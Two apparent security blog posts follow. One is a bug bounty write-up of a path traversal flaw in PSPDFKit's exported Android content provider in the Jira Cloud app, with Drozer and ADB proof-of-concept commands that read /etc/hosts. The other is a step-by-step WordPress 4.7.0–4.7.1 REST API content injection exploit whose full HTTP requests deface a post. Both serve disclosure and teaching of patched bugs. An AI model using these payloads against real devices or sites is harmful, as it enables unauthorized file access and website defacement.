Exploiting Path Traversal in PSPDFKit for Android (2.3.3 – 2.8.0)

 

Introduction

As part of my research into the Atlassian bug bounty program managed by BugCrowd (https://bugcrowd.com/atlassian), I recently discovered a directory traversal vulnerability in PSPDFKit for Android 2.3.3 – 2.8.0. After announcing my discovery on Twitter (https://twitter.com/crowdshield/status/889690387513724928), I received a few tweets asking for a tutorial and PoC of my discoveries and decided to create a blog post to document it. This particular vulnerability was discovered in the Atlassian Jira Cloud application and was verified to be fixed in the latest release.

Technical Background

The Jira Cloud Android application (com.atlassian.android.jira.core) is vulnerable to directory traversal via the following exported content provider: content://com.atlassian.android.jira.core.pdf.share/. This allows an attacker to view the local file system on the affected Android device from external 3rd party applications installed on the same device. To exploit this flaw, an attacker can create a malicious application which queries the content provider directly in order to retrieve specific files stored locally on the device. If the victim installs the malicious application, an attacker can read files stored locally on the device. Alternatively, the content provider can be queried directory via the Android debug bridge (ADB) and does not require “root” access.

Detection

To enumerate the Android application, I used reverse-apk (https://github.com/1N3/ReverseAPK) which is a tool I wrote to reverse APK files. This revealed an exported content provider named com.pspdfkit.document.sharing.DocumentSharingProvider which means 3rd party apps on the same device can query the provider directly.

# reverse-apk com.atlassian.android.jira.apk
... SNIP ...
Displaying Content Providers in AndroidManifest.xml...
=====================================================================
<provider android:authorities="com.atlassian.android.jira.core.pdf.share" android:exported="true"
android:grantUriPermissions="true" android:name="com.pspdfkit.document.sharing.DocumentSharingProvider"/>
... SNIP ...

Scanning

Next, I used Drozer to scan for common vulnerabilities such as SQL injection and directory traversal. This revealed a vulnerable content provider (content://com.atlassian.android.jira.core.pdf.share) but did not detail how to exploit the flaw.

# drozer console --server 127.0.0.1:31415 connect
drozer Console (v2.3.4)
dz> run scanner.provider.traversal -a com.atlassian.android.jira.core
Scanning com.atlassian.android.jira.core...
Not Vulnerable:
content://com.atlassian.android.jira.core.feedback.fileprovider
content://downloads/public_downloads
content://com.atlassian.android.jira.core/
content://com.atlassian.android.jira.core
content://com.atlassian.android.jira.core.pdf.assets
content://com.atlassian.android.jira.core.feedback.fileprovider/
content://downloads/public_downloads/
content://com.atlassian.android.jira.core.pdf.assets/
Vulnerable Providers:
content://com.atlassian.android.jira.core.pdf.share
content://com.atlassian.android.jira.core.pdf.share/
dz> run scanner.provider.traversal -a com.atlassian.android.jira.core
Scanning com.atlassian.android.jira.core...
Not Vulnerable:
content://com.atlassian.android.jira.core.feedback.fileprovider
content://downloads/public_downloads
content://com.atlassian.android.jira.core/
content://com.atlassian.android.jira.core
content://com.atlassian.android.jira.core.pdf.assets
content://com.atlassian.android.jira.core.feedback.fileprovider/
content://downloads/public_downloads/
content://com.atlassian.android.jira.core.pdf.assets/
Vulnerable Providers:
content://com.atlassian.android.jira.core.pdf.share
content://com.atlassian.android.jira.core.pdf.share/

Source Code Analysis

Drozer seemed to indicate that the content provider was vulnerable to directory traversal so I decided to take a look at the source code to confirm for myself. This was accomplished by running reverse-apk and opening the affected file. This confirmed that the content provider accepts URI strings via the ParcelFileDescriptor method and reads the contents (ParcelFileDescriptor.open(file, i);).

com.atlassian.android.jira.core.apk-jadx/com/pspdfkit/document/sharing/DocumentSharingProvider.java

public ParcelFileDescriptor openFile(Uri uri, String mode) throws FileNotFoundException {
if (uri.getPath() == null) {
throw new FileNotFoundException(uri + " has empty path.");
} else if (getContext() == null) {
throw new IllegalStateException("Context was null.");
} else {
try {
int i;
File file = new File(getSharedFileDirectory(getContext()), uri.getPath());
if ("r".equals(mode)) {
i = 268435456;
} else if ("w".equals(mode) || "wt".equals(mode)) {
i = 738197504;
} else if ("wa".equals(mode)) {
i = 704643072;
} else if ("rw".equals(mode)) {
i = 939524096;
} else if ("rwt".equals(mode)) {
i = 1006632960;
} else {
i = 0;
}
return ParcelFileDescriptor.open(file, i);
} catch (IOException e) {
throw new FileNotFoundException(uri.toString() + " was not found.");
}
}
}

Exploitation

Now that I knew the content provider was vulnerable, I had to actually exploit this to do something useful. To do this, I used ADB (Android Debug Bridge) and Drozer (they essentially are the same thing and yield the same result..).

Drozer PoC

run app.provider.read content://com.atlassian.android.jira.core.pdf.share/.//..//.//..//.//..//.//..
//.//..//.//..//.//..//.//..///etc/hosts
127.0.0.1 localhost

ADB PoC

adb shell content query --uri content://com.atlassian.android.jira.core.pdf.share/.//..//.//..//.//..
//.//..//.//..//.//..//.//..//.//..///etc/hosts
127.0.0.1 localhost

Conclusion

After discovering the flaw, I reported the issue to Atlassian via BugCrowd and the issue was triaged by a BugCrowd analyst. Unfortunately, Atlassian later came back and reported that this issue was a duplicate and noted that this was a known issue affecting PSPDFKit for Android and has since been patched. As a consolation, I figured this would make a good blog post and Atlassian was nice enough to allow me to disclose the details publicly. The original advisory for PSPDFKit can be found below.

References

https://pspdfkit.com/guides/android/current/announcements/path-traversal-vulnerability/

Credit: [email protected]

WordPress 4.7.0 – 4.7.1 REST API Content Injection Exploit

In this blog post, I will demo step-by-step instructions for exploiting the recent WordPress 4.7.0 – 4.7.1 Content Injection vulnerability recently disclosed by Securi. This is due to a type juggling issue in the REST API which allows unauthenticated users to bypass authorization to update content (title and body) of a given post ID.

Verify the WordPress version

The first step to exploit this flaw is to fingerprint the running WordPress version (only WordPress 4.7.0 – 4.7.1 are vulnerable). There are several ways to do this, but the easiest way is to send a GET request to the homepage of the WordPress site and search for version strings (ie. ver=4.7.1, etc.).

GET /wordpress/ HTTP/1.1
Host: 10.0.0.21
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:18.0) Gecko/20100101 Firefox/18.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Connection: close
 
HTTP/1.1 200 OK
Date: Sat, 11 Feb 2017 20:01:30 GMT
Server: Apache/2.4.18 (Ubuntu)
Link: <http://10.0.0.21/wordpress/index.php/wp-json/>; rel="https://api.w.org/"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 52609
 
<!DOCTYPE html>
<html lang="en-US" class="no-js no-svg">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="profile" href="http://gmpg.org/xfn/11">
 
<script>(function(html){html.className = html.className.replace(/\bno-js\b/,'js')})(document.documentElement);</script>
<title>Test Site – Just another WordPress site</title>
<link rel='dns-prefetch' href='//fonts.googleapis.com' />
<link rel='dns-prefetch' href='//s.w.org' />
<link href='https://fonts.gstatic.com' crossorigin rel='preconnect' />
<link rel="alternate" type="application/rss+xml" title="Test Site » Feed" href="http://10.0.0.21/wordpress/index.php/feed/" />
<link rel="alternate" type="application/rss+xml" title="Test Site » Comments Feed" href="http://10.0.0.21/wordpress/index.php/comments/feed/" />
        <script type="text/javascript">
            window._wpemojiSettings = {"baseUrl":"https:\/\/s.w.org\/images\/core\/emoji\/2.2.1\/72x72\/","ext":".png","svgUrl":"https:\/\/s.w.org\/images\/core\/emoji\/2.2.1\/svg\/","svgExt":".svg","source":{"concatemoji":"http:\/\/10.0.0.21\/wordpress\/wp-includes\/js\/wp-emoji-release.min.js?ver=4.7.1"}};
            !function(a,b,c){function d(a){var b,c,d,e,f=String.fromCharCode;if(!k||!k.fillText)return!1;switch(k.clearRect(0,0,j.width,j.height),k.textBaseline="top",k.font="600 32px Arial",a){case"flag":return k.fillText(f(55356,56826,55356,56819),0,0),!(j.toDataURL().length<3e3)&&(k.clearRect(0,0,j.width,j.height),k.fillText(f(55356,57331,65039,8205,55356,57096),0,0),b=j.toDataURL(),k.clearRect(0,0,j.width,j.height),k.fillText(f(55356,57331,55356,57096),0,0),c=j.toDataURL(),b!==c);case"emoji4":return k.fillText(f(55357,56425,55356,57341,8205,55357,56507),0,0),d=j.toDataURL(),k.clearRect(0,0,j.width,j.height),k.fillText(f(55357,56425,55356,57341,55357,56507),0,0),e=j.toDataURL(),d!==e}return!1}function e(a){var c=b.createElement("script");c.src=a,c.defer=c.type="text/javascript",b.getElementsByTagName("head")[0].appendChild(c)}var f,g,h,i,j=b.createElement("canvas"),k=j.getContext&&j.getContext("2d");for(i=Array("flag","emoji4"),c.supports={everything:!0,everythingExceptFlag:!0},h=0;h<i.length;h++)c.supports[i[h]]=d(i[h]),c.supports.everything=c.supports.everything&&c.supports[i[h]],"flag"!==i[h]&&(c.supports.everythingExceptFlag=c.supports.everythingExceptFlag&&c.supports[i[h]]);c.supports.everythingExceptFlag=c.supports.everythingExceptFlag&&!c.supports.flag,c.DOMReady=!1,c.readyCallback=function(){c.DOMReady=!0},c.supports.everything||(g=function(){c.readyCallback()},b.addEventListener?(b.addEventListener("DOMContentLoaded",g,!1),a.addEventListener("load",g,!1)):(a.attachEvent("onload",g),b.attachEvent("onreadystatechange",function(){"complete"===b.readyState&&c.readyCallback()})),f=c.source||{},f.concatemoji?e(f.concatemoji):f.wpemoji&&f.twemoji&&(e(f.twemoji),e(f.wpemoji)))}(window,document,window._wpemojiSettings);
        </script>
        <style type="text/css">
img.wp-smiley,
img.emoji {
    display: inline !important;
    border: none !important;
    box-shadow: none !important;
    height: 1em !important;
    width: 1em !important;
    margin: 0 .07em !important;
    vertical-align: -0.1em !important;
    background: none !important;
    padding: 0 !important;
}
</style>
<link rel='stylesheet' id='twentyseventeen-fonts-css'  href='https://fonts.googleapis.com/css?family=Libre+Franklin%3A300%2C300i%2C400%2C400i%2C600%2C600i%2C800%2C800i&subset=latin%2Clatin-ext' type='text/css' media='all' />
<ul class="inline-banner"><li><link rel='stylesheet' id='twentyseventeen-style-css'  href='http://10.0.0.21/wordpress/wp-content/themes/<br>
twentyseventeen/style.css?ver=4.7.1' type='text/css' media='all' /></li></ul>
<!--[if lt IE 9]>
<link rel='stylesheet' id='twentyseventeen-ie8-css'  href='http://10.0.0.21/wordpress/wp-content/themes/twentyseventeen/assets/css/ie8.css?ver=1.0' type='text/css' media='all' />
<![endif]-->
<!--[if lt IE 9]>
<script type='text/javascript' src='http://10.0.0.21/wordpress/wp-content/themes/twentyseventeen/assets/js/html5.js?ver=3.7.3'></script>
<![endif]-->
<script type='text/javascript' src='http://10.0.0.21/wordpress/wp-includes/js/jquery/jquery.js?ver=1.12.4'></script>
<script type='text/javascript' src='http://10.0.0.21/wordpress/wp-includes/js/jquery/jquery-migrate.min.js?ver=1.4.1'></script>

Retrieve post ID’s via REST API

Now that we’ve confirmed the running WordPress installation is vulnerable, we need to retrieve a list of post ID’s via the REST API. The key things here are the JSON “id”, “title” and “content” fields of the response which we’ll need for the next step.

GET /wordpress/index.php/wp-json/wp/v2/posts HTTP/1.1
Accept-Encoding: identity
Host: 10.0.0.21
Connection: close
Content-Length: 2
 
 
[
    {
        "date": "2017-02-11T18:55:52",
        "template": "",
        "modified_gmt": "2017-02-11T20:31:32",
        "_links": {
            "curies": [
                {
                    "templated": true,
                    "name": "wp",
                    "href": "https://api.w.org/{rel}"
                }
            ],
            "author": [
                {
                    "href": "http://10.0.0.21/wordpress/index.php/wp-json/wp/v2/users/1",
                    "embeddable": true
                }
            ],
            "wp:term": [
                {
                    "taxonomy": "category",
                    "href": "http://10.0.0.21/wordpress/index.php/wp-json/wp/v2/categories?post=4",
                    "embeddable": true
                },
                {
                    "taxonomy": "post_tag",
                    "href": "http://10.0.0.21/wordpress/index.php/wp-json/wp/v2/tags?post=4",
                    "embeddable": true
                }
            ],
            "about": [
                {
                    "href": "http://10.0.0.21/wordpress/index.php/wp-json/wp/v2/types/post"
                }
            ],
            "collection": [
                {
                    "href": "http://10.0.0.21/wordpress/index.php/wp-json/wp/v2/posts"
                }
            ],
            "wp:attachment": [
                {
                    "href": "http://10.0.0.21/wordpress/index.php/wp-json/wp/v2/media?parent=4"
                }
            ],
            "replies": [
                {
                    "href": "http://10.0.0.21/wordpress/index.php/wp-json/wp/v2/comments?post=4",
                    "embeddable": true
                }
            ],
            "version-history": [
                {
                    "href": "http://10.0.0.21/wordpress/index.php/wp-json/wp/v2/posts/4/revisions"
                }
            ],
            "self": [
                {
                    "href": "http://10.0.0.21/wordpress/index.php/wp-json/wp/v2/posts/4"
                }
            ]
        },
        "author": 1,
        "link": "http://10.0.0.21/wordpress/index.php/2017/02/11/test/",
        "format": "standard",
        "type": "post",
        "title": {
 	"rendered": "Hello World!"
}, "comment_status": "open", "content": { "rendered": "Test WordPress Post", "protected": false }, "featured_media": 0, "tags": [], "ping_status": "open", "meta": [], "sticky": false, "guid": { "rendered": "http://localhost/wordpress/?p=4" }, "modified": "2017-02-11T20:31:32",
        "id": 4,
        "categories": [ 1 ], "excerpt": { "rendered": "Test WordPress Post, "protected": false }, "date_gmt": "2017-02-11T18:55:52", "slug": "test" } ]

POST content to change selected post

Now that we have a list of post ID’s, all we need to do is submit a POST request back to the REST API with a type-juggled “id” parameter (ie. id=4CBF) and include our content in the “title” and “content” elements.

POST /wordpress/index.php/wp-json/wp/v2/posts/4/?id=4CBF HTTP/1.1
Accept-Encoding: identity
Content-Length: 88
Host: 10.0.0.21
Content-Type: application/json
Connection: close
 
{
    "title": "Hacked by [email protected]",
    "content": "https://xerosecurity.com"
}
 
 
{
    "date": "2017-02-11T18:55:52",
    "template": "",
    "_links": {
        "curies": [
            {
                "templated": true,
                "name": "wp",
                "href": "https://api.w.org/{rel}"
            }
        ],
        "author": [
            {
                "href": "http://10.0.0.21/wordpress/index.php/wp-json/wp/v2/users/1",
                "embeddable": true
            }
        ],
        "wp:term": [
            {
                "taxonomy": "category",
                "href": "http://10.0.0.21/wordpress/index.php/wp-json/wp/v2/categories?post=4",
                "embeddable": true
            },
            {
                "taxonomy": "post_tag",
                "href": "http://10.0.0.21/wordpress/index.php/wp-json/wp/v2/tags?post=4",
                "embeddable": true
            }
        ],
        "about": [
            {
                "href": "http://10.0.0.21/wordpress/index.php/wp-json/wp/v2/types/post"
            }
        ],
        "collection": [
            {
                "href": "http://10.0.0.21/wordpress/index.php/wp-json/wp/v2/posts"
            }
        ],
        "wp:attachment": [
            {
                "href": "http://10.0.0.21/wordpress/index.php/wp-json/wp/v2/media?parent=4"
            }
        ],
        "replies": [
            {
                "href": "http://10.0.0.21/wordpress/index.php/wp-json/wp/v2/comments?post=4",
                "embeddable": true
            }
        ],
        "version-history": [
            {
                "href": "http://10.0.0.21/wordpress/index.php/wp-json/wp/v2/posts/4/revisions"
            }
        ],
        "self": [
            {
                "href": "http://10.0.0.21/wordpress/index.php/wp-json/wp/v2/posts/4"
            }
        ]
    },
    "link": "http://10.0.0.21/wordpress/index.php/2017/02/11/test/",
    "type": "post",
"title": { "raw": "Hacked by [email protected]", "rendered": "Hacked by [email protected]" }, "content": { "raw": "https://xerosecurity.com", "rendered": "https://xerosecurity.com", "protected": false },

"featured_media": 0, "password": "", "modified": "2017-02-11T20:46:16", "id": 4, "categories": [ 1 ], "date_gmt": "2017-02-11T18:55:52", "slug": "test", "modified_gmt": "2017-02-11T20:46:16", "author": 1, "format": "standard", "comment_status": "open", "tags": [], "ping_status": "open", "meta": [], "sticky": false, "guid": { "raw": "http://localhost/wordpress/?p=4", "rendered": "http://localhost/wordpress/?p=4" }, "excerpt": { "raw": "", "rendered": "https://xerosecurity.com", "protected": false }, "status": "publish" }

After we update the post, we can verify our exploit worked or not by visiting the “link” element value above (ie. “link”: “http://10.0.0.21/wordpress/index.php/2017/02/11/test/”).

PoC Video